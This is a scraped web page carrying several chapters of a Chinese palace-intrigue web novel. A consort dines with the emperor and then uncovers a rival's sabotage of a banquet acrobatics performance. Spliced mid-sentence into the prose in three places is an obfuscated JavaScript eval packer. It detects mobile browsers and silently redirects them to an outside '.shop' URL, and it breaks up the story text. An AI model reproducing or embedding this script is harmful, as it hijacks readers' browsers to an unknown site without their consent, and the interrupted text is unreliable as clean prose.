兴奋过后,青阳想起李婕妤方才那怨毒的眼神,心里又不免有些发怵,她忐忑地看向于少微,犹豫了片刻,还是忍不住问道:“婕妤,您今日这般戏耍李婕妤, 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“对。”于少微用一副孺子可教也的表情看向她,“对于讨厌你的人,你做得再好都是错的,息事宁人或是忍让后退,只会让他得寸进尺,助长嚣张气焰。与其如此,不如努力提升自己,强大起来,真到了撕破脸的那天,也能正面对峙。” 这是于少微很早就明白的道理,只是从前面对身边人的恶意,她总想着退让求和,说到底,不过是内心深处还在奢望那一点点虚无缥缈的善意与关爱罢了。 回宫的路上要经过荷花池,就是李婕妤落水那个,于少微看了看天色,离亓轸下学还有些时辰,便想着去湖边转一转,吹吹凉风。却不想刚走到池边,就迎面撞上了准备回太和殿的庆帝。 庆帝的目光先落在她身上,随即瞥见她手中不慎跌落的芙蓉花,弯腰拾起。 眼前的女子打扮不似往日清雅,樱红短襦的娇艳,石榴长裙的热烈,湖蓝帔子的雅致,再配上满头的金玉首饰,衬得她如同一朵活色生香的夏日牡丹,连身后的烈烈芙蕖都沦为陪衬。 “来赏荷?”庆帝捏着芙蓉的短茎,并没有归还的意思。 于少微被他直勾勾的眼神看得不自在,垂眸轻声应道:“是。” “朕记得你喜欢雨打荷花?”庆帝收回目光,随意把玩着手中的花朵,语气平淡,听不出情绪。 于少微下意识抬头看了看阴沉的天色,心中一动,谨慎地回道:“看这天气,许是快要下雨了。” 庆帝低笑两声,状似无意地问道:“听说贵妃交给你一个颇为棘手的差事? 于少微心中一凛,斟酌着用词回道:“能得贵妃娘娘看重,臣妾确实领了一份差事,正在尽力筹备。” “有困难吗?”庆帝的语气带着几分似有若无的关心。 于少微轻咬下唇,抬眸迎上他的目光:“臣妾能解决。” 庆帝没有再追问,只是朝她招了招手示意她上前。于少微依言走上前两步,只见庆帝的目光在她满头的首饰中扫了一圈,终于找到了一个空位,抬手将手中的芙蓉花,轻轻簪在了她的发髻上。 于少微一愣,还没反应过来就听到头顶传来庆帝低沉温润的嗓音:“既是来等雨,为何不带雨具?” 于少微面色一窘,正要开口解释自己只是临时起意来湖边转转,没料到会遇到他,更没料到会突然下雨。却听庆帝又道:“朕也没带伞,此刻再去取,怕是来不及了,雨荷之事,下次朕陪你再赏便是。” 于少微轻轻点头,庆帝的目光在她白皙的脖颈处上下流连,眼神逐渐幽深,骨节分明的指节缓缓抬起,不过轻如鸿毛的触碰,却教她浑身战栗。掌下的人轻轻抖动,他感受着指尖细腻的触感,凑近道:“今晚朕去你宫里与你和轸儿一同用晚膳,你先回去仔细预备吧。” 16. 第十六章 回宫路上,于少微的脚步不似来时轻快,急匆匆的,只闷头一个劲地往回赶,旁边的槐序和青阳追不上她的步伐,只得一路小跑跟上。 一踏入晴雨阁,于少微便径直奔向内室,抬手扯掉发间的钗环,随手掷在妆台上,又踢掉脚上的绣鞋一整个仰倒在卧榻上,胸口因急促的呼吸而剧烈起伏。 “婕妤,喝口水缓一缓。”槐序端着一盏温茶快步进来,于少微撑着手肘坐起,接过茶盏便仰头大口吞咽。 可恶!于少微将空茶盏重重搁在榻边小几上,早知道就不去荷花池了!原想着去看讨厌之人的落魄光景,讨个清净快活,谁知竟撞上这么个拦路虎!好心情被搅得一干二净不说,还平白揽了桩加班的活计,任谁和自己的顶头上司吃饭能有什么好心情? 胸中的郁气翻腾了片刻,于少微闭上眼深吸一口气,毕竟上辈子相关经验十分丰富,这点情绪起伏很快便被压了下去。再次睁眼,她对着门外扬声道:“传膳房的师傅过来,我要亲自敲定晚膳的菜单。” * 文华殿 案头的香烛即将燃尽,六皇子亓澈已然按耐不住,一个劲儿的往窗外张望。亓轸将笔搁到笔山上,脑袋依旧正对前方夫子讲课的方向,眼神却也忍不住朝窗外瞥。德妃娘娘已在廊下,旁边却少了一个熟悉的身影,亓轸下意识皱眉,顿了顿,不动声色地转过半个脑袋再瞧,廊下依旧只有德妃与随行宫人,一股说不清道不明的失落悄无声息的漫上心头。 下学后,亓澈便迫不及待地收拾起书卷,转身见亓轸还在慢条斯理地将书页抚平,不由得好奇道:“五,五哥今日怎,怎如此磨磨蹭蹭?莫要,要让于娘娘等,等急了!” 亓轸气结,忍不住瞪了他这位六弟一眼,这小子说话真不讨人喜欢!但面上还是不动声色道:“我怕有东西漏了,所以收得仔细些,六弟快去吧,不要让德妃娘娘等久了。” 亓澈闻言“嗷呜”一声就往外跑,一出门就看见对着他笑眼盈盈的德妃,读书的辛苦顿时被冲淡大半,他走到德妃娘娘身边,发现没看见于少微的身影,只不远处站了一个眼熟的宫人,他拉着德妃的手,顿时心生同情,不再计较亓轸刚刚瞪他的事。 亓轸待殿内众人散尽才磨磨蹭蹭地提起书袋起身,廊下早已候着的禄子连忙上前接过他手中的书袋,槐序在一旁等得腿脚发麻,总算见着人影,忙快步迎上去福身行礼,恭敬道:“五殿下安,婕妤今日事务缠身,特命奴婢前来接您。” 亓轸紧绷的嘴角稍稍舒展了些,矜持地点了点头,声音依旧平淡:“走吧。” 槐序等人连忙跟上。 亓轸今日走得很快,他本就身形颀长、腿步阔大,槐序与禄子提着东西,只得上气不接下气地小跑跟上。不一会儿,疾走的少年与身后的宫人拉出一小段距离,他似是察觉到身后的动静渐远,面无表情地抿紧双唇,脚步却悄悄放慢了些。 槐序总算勉强跟上,心里暗自腹诽:一个婕妤,一个殿下,她今日这双腿可真是遭了罪。 亓轸听到到身后略显急促的喘气声,沉默了半晌,终是没忍住,偏过头装作不经意的模样问道:“槐序姑姑,母妃今日是有何要紧事,竟抽不开身?” “回殿下,陛下今夜要来晴雨阁用晚膳,婕妤正忙着亲自安排膳食,故而无法亲自来接您。”出门前于少微特意交代,若殿下问起,便如实回话,若不问,也不必多言。槐序原以为一路沉默到宫,没想到殿下竟主动开口了。 亓轸垂在衣袖中的手悄然握紧,闻言指尖微微一松,心头那点失落竟奇异地散去了些,原来是父皇要来。他定了定神,道:“既然父皇驾临,那我待会儿便直接回书房温习功课,晚膳让人送到书房即可,不必叨扰父皇与母妃。” 槐序疑惑:“殿下不一起用晚膳吗?” “母妃和父皇用膳,我不好打扰。” “可婕妤特意吩咐让您下学后直接去她那里,晚点一同用晚膳呢。”槐序面露难色。 “哦?叫我,叫我一同?”亓轸脸上依旧是那副波澜不惊的模样,说话却有些语无伦次:“好,好的,我知道了。” * 皇上第一次来她晴雨阁吃饭,是大事一桩,于少微就算再不情愿,也不敢马虎。毕竟如果在上辈子,若真是不满领导,她大可以辞职走人,但在这里,她身家荣辱全系他一人之上,只能恭恭敬敬将人供奉妥当。 于少微亲自在厨房中检验食材,备好的菜陆续下锅,她怕味道太大熏到衣服,才退出去回到自己寝宫。亓轸已坐在一个绣墩上等候多时,正拿着本书苦读,听到响动抬头,见是于少微来了,他十分自然地放下手中书本,起身朝于少微行礼。 “呦,要吃饭了还这么用功?”于少微示意少年坐下,语气调侃。 亓轸显然已习惯,只轻声道:“夫子说今日讲得东西很重要,我还未参透,想再看看。” “等会儿你父皇要来,吃饭的时候你直接问他,他肯定知晓。”于少微故意没去看他,觉得口不对心的少年有些可爱。 “嗯。”亓轸难得没有争辩,轻轻点头。 于少微看向又埋头书本的少年,仿佛看见过去的自己,正在读书的人总该受点优待,于少微让人多点了盏灯放在亓轸旁边,自己则安静的在桌旁喝茶发呆,过了一会儿,怕打扰到他用功不敢叫人,便亲自去内室取了纸笔,垂眸思考中秋家宴的事情。 两人围着一张高脚方桌,中间拥着三个烛台,灯光暖黄轻轻摇曳,偶尔传来书页翻动的轻响、笔尖划过宣纸的沙沙声,间或有一两句简短的交谈。时间过得很快,待亓轸将今日学的文章通读了三四遍,于少微也写废了好几张纸,门外才传来槐序轻细的脚步声:“菜已备好,请婕妤与殿下移步暖阁。” 暖阁内,一切已经布置妥当,于少微和亓轸分坐两侧,将中间的主位空了出来。不一会儿,打发去探消息的太监跑了回来,言明陛下将要抵达,于少微迅速吩咐宫人上菜,带着亓轸去宫门接驾。 庆帝的銮驾刚刚停稳,于少微稍稍推了把亓轸,让他站在前面,两人一齐迎上去行礼。庆帝换了身颜色较浅的常服,使他身上的威严稍稍散了一些,瞧见面前许久未见的五儿子,有意多看了两眼。 亓轸捕捉到这抹目光,面上恰到好处地露出一抹受宠若惊的模样,眉眼间漾着几分少年人特有的兴奋,行礼时动作愈发恭谨:“儿臣参见父皇,父皇圣安。” 庆帝将儿子的变化尽收眼底,嘴角勾起一抹淡笑,对着亓轸道:“吾儿最近长高了许多,看着身子也结实不少。” “谢父皇夸奖。”亓轸毕恭毕敬道,声线沉稳,举止得到,庆帝略略点头,只听他又道:“儿臣能有今天,多亏了父皇的体恤关心,还有母妃的悉心照料,儿臣感激不尽。” 这话有些突兀,但看见满脸孺慕之情的儿子,又看向对着亓轸一脸欣慰的于少微,庆帝颇为受用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“夫子是如何教你的?”庆帝不答反问,声音平稳,听不出情绪。 亓轸恭敬道:“夫子言,此乃大局与微末之辨,朝廷掌控命脉,利大于弊。” “那你以为呢?”庆帝的声音依旧平淡。 亓轸后背微微绷紧,他知道接下来的话或许会引来斥责,他抿了抿唇,再次开口,声音比刚才更坚定了几分:“儿臣以为,国之命脉,确需掌控。然……或可思变通之法,譬如,可否设定统一规制,严查质量,允部分民间作坊依官法承制,官府统一定价抽税?如此,器物质量得以保障,朝廷收益不减,亦不伤民力。这……这或许才是‘与民争利’与‘与民共利’的区别。” 少年说完,微微垂首,继续做出一副恭敬的模样。 庆帝沉默着,指尖在光滑的桌面上极轻地敲击了两下,眼里掠过一丝极淡的、难以捕捉的讶异,这个平日里沉默寡言、几乎感觉不到存在的儿子,似乎并不如他表现的那般平庸。 沉默持续了良久,亓轸也开始有些紧张,于少微看着默不作声的父子俩,正犹豫着要不要说点什么时,庆帝终于开口了:“明日,将你的想法写个陈条递上来。” 没有赞许,没有驳斥,有的只是一个指令,然而,对于亓轸来说,已是一个从未有过的进展,他压下心头的悸动,起身行礼:“儿臣遵旨。” 庆帝不再多言,重新拿起筷子,仿佛刚才的一切未曾发生。 17. 第十七章 中秋家宴将近,于少微将大半心神都倾注在筹备之上,与于家往来的信件,有时一日竟达两封。 另一边,自那晚父子夜谈再到次日的朝堂议事,这位素来名不见经传的五皇子骤然闯入朝臣视野,平静的宫墙内,一时泛起几圈涟漪……只是这涟漪终究浅薄,未几便悄然消散,仿佛从未有过。 亓轸依旧是众皇子中最沉默的那个,只偶尔课堂上几句独到见解能引得夫子颔首赞叹。庆帝也并未因那晚的言论对他另眼相看,这段时日里,甚至连于少微也甚少召见。后宫众人揣度不透帝王心思,只当这母子俩不过是昙花一现,先前那点若有似无的忌惮与试探,渐渐都歇了去。 身处流言中心的二人反倒是一派淡然,于少微整日为家宴筹备忙得脚不沾地,根本无暇理会旁人目光。亓轸则照常读书习字,偶尔遇上二皇子与四皇子的挑衅或冷嘲热讽,也始终置若罔闻。倒是于少微知晓后想替他出头,但也被他拦下来了。 暑气渐消,秋意渐浓,单薄的纱衣早已换成了细密软糯的锦缎,案头的夏花也被各色秋菊取代,大雁又到南去之时,象征着阖家团圆的中秋也如约而至。 大殿内,灯火通明,琉璃盏折射出的光将整个殿宇映照得恍如白昼,庆帝身着明黄常服,与陈皇后并肩端坐于最高处的御座之上,御阶之下,左右两侧,众妃嫔依品级次第就坐。 宫女们正悄无声息地布菜,每张案几上,肥美的秋蟹佐以姜醋,小巧的月饼堆叠成塔,还有裹着洁白糯米的珍珠丸子、时令的藕鲊、清蒸的白玉……桂花酿在玉壶中泛着琥珀色的光泽,清甜的酒香与殿内的香气交缠,琉璃灯罩流淌出温暖辉煌的光泽,丝竹阵阵,清越悠扬,伴着众人的觥筹交错与笑语盈盈。 待宴席过半,于少微筹备的民间百戏如期登场,只见舞者身着轻盈舞衣,如游鱼般在覆满荆棘的藤圈中柔滑穿梭;吞刀术士“轰”的一声吐出一条炽热的火龙,火光映得众人脸庞通红,引得殿内一片惊呼;老艺人手指翻飞,丝线上的绢衣木偶便突然活了过来般,演出嫦娥奔月,那嫦娥眉眼含情,姿态婀娜,回眸间似有万般情愫流转,灵动传神,竟丝毫不输真人。 殿内的后妃与皇子们,大多未曾见过这般鲜活热闹的民间戏码,一个个聚精会神,目不转睛,时不时发出由衷的赞叹与惊呼。四皇子亓轩每到精彩处就要去望坐在皇后身边的太子,挤眉弄眼的欲与太子交流内心的激动,太子对此总是神态温柔,颔首回应,不见丝毫不耐。 五皇子亓辙年纪尚小,看得双眼亮晶晶的,满脸雀跃,德妃见儿子这般欢喜,眼中满是爱怜,轻轻抚了抚他的头顶,随即朝于少微的方向点了点头,嘴角勾起一抹友善的笑。 二皇子亓轲却不知怎的,只看了一小会儿就挪开了眼,低头吃着自己案前的东西,旁边的谢贵妃倒是一副气定神闲的模样,时不时与自己儿子低语两句算作点评。 自节目,不应是自家宴开始,于少微的心就像被一根无形的弦紧拽着,她虽自以为做了万全之策,排节目单时把所有可能失控的飞禽走兽全划了叉,道具库的刀剑、绳索都亲自过目数次,连杂耍艺人的鞋钉都检查过是否牢固,演出人员的次次彩排她几乎都未缺席……她已做了她能做的,但百密一疏,她实在是害怕—— 感觉到自己放在案下的手被轻轻拍了拍,于少微偏头对上亓轸略带安抚的双眸,嘴角扯出一个难看的微笑,喉间一阵发紧,只能借着低头拢鬓发的动作,强压下那股恶心感,她紧张得有点想吐。 此时大殿中央已架起一道丈许高的细索,一名青衫少女手持朱红油竿,足尖一点便翩然上索。她身姿轻得像片云,既能稳踏索面如履平地,又能突然提气跳跃,竿子一旋便是个利落的翻身,引得席上众人低声赞叹。如此精巧的表演,于少微却无法安心欣赏,目光像粘在了少女身上般,呼吸也跟着放得很轻很轻,手心也早沁出一层冷汗。 变故就在一瞬,少女刚完成一个旋身,脚下不知被什么一绊,身子猛地一晃,红油竿“哐当”撞在索上,整个人像被狂风卷住的柳叶,朝左侧虚空踉跄而去! “当心!”于少微的惊呼卡在喉咙里,双手“唰”地攥紧,指甲深深掐进掌心,身子不受控地往前倾。 大殿内的赞叹瞬间变成一片倒抽冷气的嘶声,连素来端庄的陈皇后脸上都掠过一丝慌色,索上的少女眼看就要坠下,众人的心都提到了嗓子眼—— 忽然她猛地一拧腰,脚背死死勾住细索,身子像朵倒挂的海棠花,悬在半空轻轻摇晃,不过一呼一吸的功夫,她又借着腰力猛地一翻,足尖稳稳落回索面,红油竿一竖,扬唇抱拳向帝后庆贺。 “好!” 庆帝率先抚掌大笑,大殿内的紧绷瞬间消散,赞叹声此起彼伏,还夹杂着几声后怕的叹息。 亓轸没空看那惊险一幕,他侧过身子,费力地将于少微握死的拳头掰开,见人还无知无觉地盯着上方的绳索,手指也似鸡爪一样蜷着,少年皱眉看了两秒,默默将刚收回的手伸出来,将她双手摊平按在膝上,侧头让侍奉的宫女端一杯热茶过来。 走绳少女在掌声中躬身退下,大殿刚恢复片刻安静,房梁上忽然“簌簌”作响,不等众人反应,数条五彩绸带已如流霞般垂落,晃得人眼花缭乱。紧接着,身着霓裳羽衣的舞姬们拽着绸带飘然落下,她们在彩绸间翻飞缠绕,时而如蝶穿花,时而如仙悬月,裙摆扫过地面时,还带起细碎的金粉,美得让人移不开眼。 丝竹声陡然转亮,觥筹交错的清脆声响混着赞叹声,将家宴气氛推到了顶点。这支江南来的绸吊舞本就是百戏压轴,此刻在辉煌宫灯的映照下,舞姬们的衣袂更显鲜艳,比于少微彩排时所见的模样,震撼数倍!她原本紧绷的肩线渐渐放松,盯着舞姬翻飞的身影,竟也看迷了眼。 亓轸瞥见她微缓的神色,悄悄舒了口气,抽回自己的手。 领舞的舞姬旋身跃上主绸带,做出一个高难度的倒挂翻卷动作,就在此时,殿内突然响起“嘶啦”一声脆响,那根承载她全身动作的绸缎忽然从中断裂! 时间仿佛被按下了慢放键,众目睽睽之下,舞姬脸上的笑容甚至都还未来得及收敛,惊呼声卡在喉咙里,身体像断线的风筝般直直坠向坚硬的地面。 “不——!”于少微的惊叫冲破牙关,心脏像被一只大手狠狠攥住,眼前一阵发黑。 千钧一发之际,一道黑影猛地从侧席窜出,监护的侍卫拼尽全身力气向前扑去,“噗通”一声闷响,舞姬重重砸在他身上,两人在地上滚作一团。 现场惊叫声四起,杯盏摔碎的脆响、女子的啜泣声混作一团。于少微手边的茶杯跌落,滚烫的茶水溅在手背上、裙摆上,她却浑然不觉,方才还绷得笔直的脊背瞬间垮塌,整个人像被抽去所有筋骨般瘫在椅上,大口大口地喘着粗气,额间细密的冷汗顺着鬓角往下淌。 “陛下!”一道尖利的女声骤然打破混乱,瞬间吸引了所有人的目光。 谢贵妃猛地起身,模样痛心疾首,“于婕妤这是办的什么差事!连器具安全都无法保障!今日乃中秋佳节,血光乍现,祸事频出,实乃大不祥!若非侍卫反应迅速,这便是一条活生生的人命!”她向前两步,居高临下地盯着于少微,字字如刀,“于婕妤,你可知罪?!” 众人惊魂未定,谢贵妃这一嗓子将众人的目光都集中在于少微身上,或是惊恐,或是担忧,或是幸灾乐祸……于少微挣扎着起身,不料全身发软,整个人又猛地跌了回去。现场立刻响起一片低低的哗然,于少微死死抠住案几的边缘,正要再次咬牙起身时,一双有力的手臂突然扶住她的肩膀,稳稳将她托了起来。 “谢…谢谢…”于少微声音抖得不成样子。 亓轸没说话,只是看着她的眼神愈发担忧。 “我…我有办法…”于少微嘴唇发白,抬手按在亓轸扶着她的手背上,轻轻摇了摇。 亓轸犹豫一瞬,利落将手松开。 于少微深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庆帝示意宫人将绸缎呈上,于少微趁热打铁道:“此绸缎从库房取出后,一直由专人看守,唯有在表演前悬挂时,曾有片刻经由他人之手。能接触到绸缎,并有时间做此手脚的,唯有……” 她目光扫向负责悬挂道具的那组太监宫女,人群中,在她目光扫过时,一个面生的小太监脸色惨白如纸,身体控制不住地发抖。 “你——”于少微眼神微眯,伸手指向他:“出来。” 那小太监双腿一软,差点瘫在地上,在她逼人的目光下,只得摇摇晃晃地走出队列 “跪下!”太监扑通一声下跪。 “你与陛下和娘娘说说,为什么会出现这种情况?” “奴、奴才不知…奴婢冤枉啊陛下!”小太监嗓音尖利,带着哭腔,文淑妃坐在席上,嫌恶地皱了皱眉。 “这道具是你负责的,出了问题你就是渎职!”于少微声音陡然拔高,“来人,拖下去,杖毙!” 两边立刻有侍卫上前,小太监吓得魂飞魄散,脸色从惨白变成死灰,不管不顾地大声嘶吼:“冤枉啊陛下!冤枉啊!” 庆帝已查看完断面,看着眼前这出闹剧,始终沉默不语。 眼看就要被拖出大殿,小太监知道自己死到临头,突然爆发出惊人的力气,死死抱住旁边的门柱,声嘶力竭地大喊:“是被人指使的!奴才是被人指使的!是被威胁的啊陛下!” “一派胡言,拖下去!”于少微眼神一沉,厉声吩咐,一名侍卫迅速上前,就要掰开他的手。 “是李婕妤!是李婕妤让奴婢做的!”小太监拼尽最后一丝力气嘶吼出声,“她说若不照做,就杀了奴婢全家!” “你胡说八道!”李婕妤瞬间变了脸色,猛地从席上站起,指着小太监破口大骂,“你这狗奴才,竟敢血口喷人!快将他拖下去!” 于少微瞬间松了口气,好整以暇地看了她一眼,抬手道:“慢着。” 她走到小太监面前,居高临下地看着他,“你且放心,陛下在此,若有人真的威胁你,我保你性命。” 18. 第十八章 太监哆哆嗦嗦地跪在中间,很快就将自己受人指使的过程交代了。 大殿内乐舞早已停止,悬挂的彩绸们还未撤下,只静静垂着,似仙瑶裙摆,却不再能吸引殿内任何一人的目光。 德妃两手揽着儿子女儿,是一个全然安抚的姿态,秀气的眉毛轻拧着,还不忘朝于少微投过担忧的目光。淑妃倒是表情闲适,没有理会一旁看着太子不知在琢磨啥的傻儿子,自己亲昵的给女儿夹菜。瑾嫔看着脸色不太好,嘀嘀咕咕地和瑛嫔咬耳朵,瑛嫔拍着妹妹的肩,轻轻叹气。 谢贵妃眼神闪了闪,瞟了眼脸色煞白的李婕妤,眼波一转,朝庆帝道:“陛下,臣妾瞧此事颇为蹊跷,这太监张口便指认李婕妤,可证据何在?李婕妤是臣妾宫里的人,性子最是良善胆小,断不会做出这等恶毒之事。况且,如今出了这等意外,谁能保证不是有人故意买通太监,构陷李婕妤以脱罪呢?” “陛下!”李婕妤立马接话,看着庆帝泪光闪闪,“臣妾是冤枉的啊!求陛下为臣妾做主,还臣妾一个清白!” 庆帝缓缓点头:“贵妃所言有理。”他抬眼看向于少微,目光沉沉,“你可有证据证明这太监所言非虚?” 于少微哑然,莫名荒唐,问她干嘛?又不是她干的,问犯事的人啊!!! 她深吸一口气,强压下翻涌的情绪,抬头道:“陛下,请允许臣妾亲自审问这太监。” “准。”庆帝颔首。 于少微看向跪在地上的太监:“你方才说你受李婕妤胁迫,那她又是因为什么胁迫的你?” “银…银子……”太监声音低若呐蚊。 “哦?”于少微挑眉,声音陡然拔高,“可我派去搜查你住处的人,并未找到半分赃银,倒是查到一件事,听说——你在宫中有个亲妹妹,如今正在秋水居当差,是吗?” 太监猛地抬头,不等他反应,于少微又道:“你妹妹名叫巧娘,去年入宫,因手脚麻利被分到了李婕妤身边,我说的对吗?” “不!是奴才自己干的!”于少微话音未落,这太监突然嘶吼起来,像是豁出去了一般,“奴才确实拿了银子,只是都花光了!此事与李婕妤无关,是奴才贪生怕死胡乱攀咬,求陛下治罪!” “陛下您瞧,这太监既拿不出证据,又已亲口认罪,显然是李婕妤遭人陷害,不如先将这刁奴拖下去,免得在此污了陛下的眼。”谢贵妃斜了于少微一眼,对着庆帝柔柔道。 李婕妤眼泪娑婆地看着庆帝,眼神希冀。 庆帝垂眸皱眉,似在考量。 于少微的心一寸寸沉了下去,若是庆帝就此结案,那她—— “此事不妥。”一直沉默的陈皇后突然开口,于少微猛地抬头对上她的目光,只听她继续道:“此事不仅关乎李婕妤的名声,更关乎于婕妤的清白,陛下不若再问问于婕妤,她是否还有话要说。” 庆帝抬眼看向皇后,沉默片刻,点头道:“于婕妤你可还有话要说?” 于少微立马上前一步:“臣妾恳请陛下,将太监的妹妹巧娘,也就是秋水居的宫人,传上殿来问话。” “不可!”瘫在地上的太监突然激动起来,连滚带爬地扑向于少微的脚边,“此事乃奴才一人所为,与旁人无关!求陛下治奴才的罪,千万别牵扯其他人!” “你方才还说是受李婕妤指使,怎么现在又变成你一人所为?”于少微皱眉。 太监顿时一噎,张了张嘴却说不出话,只能一个劲地磕头。于少微不再理他,转向庆帝:“臣妾恳请传巧娘上殿。” 庆帝颔首:“准。” 不一会儿,亓轸身边的禄子就领着一个梳着双丫髻的小宫女上来了。那小宫女一进殿就跪下磕头,声音带着哭腔却异常坚定:“奴婢巧娘,愿为哥哥作证!哥哥确是受李婕妤指使,奴婢有证据!” 此言一出,大殿内众人神色各异,李婕妤脸色惨白如纸,猛地站起身,指着巧娘尖叫:“你这贱婢,竟敢血口喷人!”谢贵妃的脸色也沉了下来。 亓轸坐在席上,听完身边侍卫的低声汇报,抬手按住额角突突跳动的青筋,紧绷的身体稍稍放松,无声地吐出一口浊气。 “证据何在?”于少微追问。 “证据在秋水居掌事姑姑青兰的鞋底!”巧娘恨恨地看向李婕妤,“奴婢今日去找哥哥,恰巧撞见青兰姑姑拿着一把小弯刀威逼哥哥去割百戏用的彩绸。哥哥不愿,青兰姑姑就拿奴婢威胁他,哥哥只得答应。奴,奴婢怕哥哥出,出事,恰巧发现藏身的地方放着一些紫汁,这种花汁低贱,是民间百姓染色用的,也可涂在脸上,宫中从来没有,应是戏班子带来的,奴婢就偷偷洒了些在门口,亲眼看着她踩了上去!” 于少微立马看向李婕妤身边的宫女,厉声道:“你可认同她所说的话?” 青兰刚刚已经看过自己的鞋底,上面果真有一大片紫色污迹,辩无可辩,她朝着急拉她的李婕妤扯出一个安抚的笑容,走到大殿中间跪下,脸色灰败:“一切全系奴婢所为,是奴婢气愤于婕妤屡次冲撞婕妤,心中不忿,才起了陷害之心,此事李婕妤完全不知情,请陛下明鉴。” 谢贵妃见此赶紧道:“既然罪奴已认罪,那就……” “不!”李婕妤突然跟疯了一样冲出来,将青兰护在身后,声音嘶哑:“是臣妾指使她做的,臣妾嫉恨于婕妤,所以才犯了糊涂,臣妾甘愿受罚。” “…娘娘……“青兰已是泪水涟涟,心一横张口欲说什么,却被李婕妤狠狠捏住了手,她顿时偃旗息鼓,瘫软在地上。 于少微冷眼瞧着她们的动作,不着痕迹地去看谢贵妃,只见那谢贵妃也在看李婕妤,眼睛微眯,表情嫌恶,与刚刚一心维护李婕妤的模样完全相反。 此时太医让人上来传话,言明舞姬脚踝扭伤,侍卫手臂脱臼,伤得不算严重,现已得到妥善医治。 于少微松了口气,看向庆帝:“现已真相大白,请陛下处置。” 庆帝抚着指上的玉扳指,沉沉道:“后宫之事,由皇后来吧。” 陈皇后明白庆帝的意思,对着底下众人道:今日乃中秋佳节,本宫不愿宫中徒添血色,所幸伤者无碍,便从轻发落。”她顿了顿,看向地上的太监与青兰,“这二人,各责三十杖,罚俸三月,以儆效尤。”接着,她的目光落在李婕妤身上,“李婕妤身为宫妃却心怀妒忌,行构陷之举,实乃德行有亏,即日起禁足半年,罚俸一年。” 言罢又扫了一眼众嫔妃,声音威严:“望尔等谨记宫规森严,莫再生妄念。” “至于于婕妤。”陈皇后转向于少微,语气缓和了几分:“今晚你受委屈了,可有什么想要的补偿?” 于少微早有打算,她指向跪在地上的巧娘:“臣妾恳请皇后娘娘将巧娘赏给臣妾当差。” 巧娘猛地抬头,瞪大眼睛看着于少微,满脸都是不可置信,她本以为自己活不过今天…… 于少微朝她温和地笑了笑,方才让巧娘上来作证时她就已经想好,若是她能洗脱冤屈,就把人要来,免得留在秋水居受磋磨。 陈皇后将下首的一切尽收眼底,眼底涌上一丝柔情,点头应允。 于少微谢过恩,转身欲回自己的座位,庆帝却突然对皇后道:“朕记得去岁南边进贡的东珠还有一盒,便赏给于婕妤吧。” “陛下好记性。”陈皇后笑道,“臣妾待会儿就令人去库房取来,送到晴雨阁。” 于少微迅速回过身,眉眼嘴角迅速弯起,一副感恩戴德的模样,连连谢恩。 大殿内的彩绸不知何时被人收走了,丝竹声重新响起,方才的乱子似是没发生过一般,未完的家宴继续按着程序进行,只是在坐的各位早没了最初的兴致。 回到晴雨阁时夜已经深了,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875024|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少微在路上制止了亓轸要同她回寝宫的行为,不顾少年瞬间耷拉下来的眉尾,将人打发回他自己屋子里睡觉,还派了青阳一起跟过去,务必确保人回去就洗漱上床,别又去书房泡着。 亓轸暗暗撇嘴,没有再说什么,只是眼巴巴地看着于少微的身影消失在宫门后,才不情不愿地跟着青阳离开。 回到寝宫时,热水已经备好了,于少微拆掉头上叮叮当当的珠花,紧绷的头皮总算得到放松。她脱着疲惫的身体洗了个澡,温水漫过肩头,疲惫如潮水般将她裹挟,险些在氤氲水汽中睡去,强撑这精神躺回榻上,正想将人都打发走,却瞧见槐序却是一副有话要说的模样,只得有气无力道:“还有事吗?” 槐序点点头:“婕妤打算如何安置巧娘?” 于少微想了想,虽然人是要过来了,但毕竟是秋水居出来的,底细不明,也不敢用,还是放远些好,槐序与她想的一样,见她没发话,自己又道:“奴婢问过了,巧娘先前在秋水居只管扫洒,奴婢想着不如仍让她做这份活计,不涉内院琐事。” 于少微颔首:“就照你说的安排。” 槐序服侍她躺好,替她放下床帐,转身准备退下,却又听到帐内传来一声迟疑:“…那两人的板子,打完了?” “家宴结束前就已经打完了。”槐序驻足,声音低了几分。 “那两人怎么样?” 槐序沉默了一会儿,轻轻道:“他们在御前犯错,板子打得重,又得不到妥善医治,许是……不太好。” 于少微闭上眼,帐内静得中能听见自己的呼吸声,那两人固然是自食恶果,但…也只是受人指使,三十杖,足以断筋折骨……她眼前骤然闪过殿上太监不停磕头的模样,一阵反胃感碾过心口。 床帐里许久未有声音传出来,槐序耐心等着,又过了一会儿,听到于少微幽幽的声音:“你现在去太医院取些药来,交给巧娘让她给她哥哥送去,至于秋水居……” 她顿了顿,语气添了几分犹豫,终究还是道:“秋水居那边也送一份,你亲自去,务必让李婕妤知晓是我送的。” “奴婢知道了。”槐序应下,厚厚的床帐让她看不清榻上之人的神情,她的心情也有些复杂,婕妤是个良善人,只是太容易心软了,这本身没什么,可在这深宫里,心软便易优柔,优柔便易受制,未必是幸事…… 